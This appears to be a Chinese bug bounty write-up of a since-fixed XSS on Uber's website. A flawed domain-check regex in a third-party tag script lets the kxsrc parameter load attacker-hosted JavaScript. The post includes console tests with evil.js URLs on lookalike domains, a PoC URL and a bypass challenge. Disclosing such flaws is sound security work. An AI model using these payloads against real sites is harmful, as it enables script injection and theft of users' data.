前言
两个月前的一天,在Hackerone上看了不少报告之后的我跃跃欲试,不自量力地给自己定下一个目标:一定要找一个能够获得Bounty的漏洞!然后,前后差不多花了三天的时候,找到了Uber网站的一个XSS漏洞。今早也顺利地收获了人生的第一笔奖金,$7000。接下来就分享一下这个漏洞吧。
漏洞代码
在看Uber的网站前端JS代码的时候,发现有如下的一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| (function() { var k = document.createElement('script'); k.type = 'text/javascript'; k.async = true; k.setAttribute("data-id", u.pubid); k.className = "kxct"; k.setAttribute("data-version", "1.9");
var m, src = (m = location.href.match(/\bkxsrc=([^&]+)/)) && decodeURIComponent(m[1]);
k.src = /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test(src) ? src : src === "disable" ? "" : (location.protocol === "https:" ? "https:" : "http:") + "//cdn.krxd.net/controltag?confid=" + u.pubid; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(k, s); })();
|
目前代码还能在:https://tags.tiqcdn.com/utag/uber/main/prod/utag.273.js 看到,不过修复之后相应的网站已经不会加载这个代码文件了。 通过阅读上面这段代码,我们能够知道参数是kxsrc
是可以被用户控制的,而且如果满足一定条件,该参数所指定的js文件就会被加载。
漏洞分析
咋一看,这段代码似乎没有什么问题:JS文件只能是krxd.net
域下的文件。然而,在正则表达式里:.
代表的意思是匹配任意字符。我们来做一个简单的实验,F12打开浏览器的调试窗口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| > /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://a.bkrxd.net/controltag/evil.js') < true > /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://a.ckrxd.net/controltag/evil.js') < true > /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://a.dkrxd.net/controltag/evil.js') < true > /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://a.ekrxd.net/controltag/evil.js') < true > /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://a.fkrxd.net/controltag/evil.js') < true > /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://aafkrxd.net/controltag/evil.js') < true > /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://abfkrxd.net/controltag/evil.js') < true
|
PoC
买个域名!部署一下HTTPS!写一个简单的JS文件!添加到参数里!Bingo,就是这么神奇!
1
| https://www.uber.com/?exp=hp-c&kxsrc=https%3A%2F%2Fwww.akrxd.net%2Fcontroltag%2Fevil.js
|
思考题: 写这段正则判断代码的人应该还希望限制路径,但其实很容易就可以被绕过,怎么绕呢?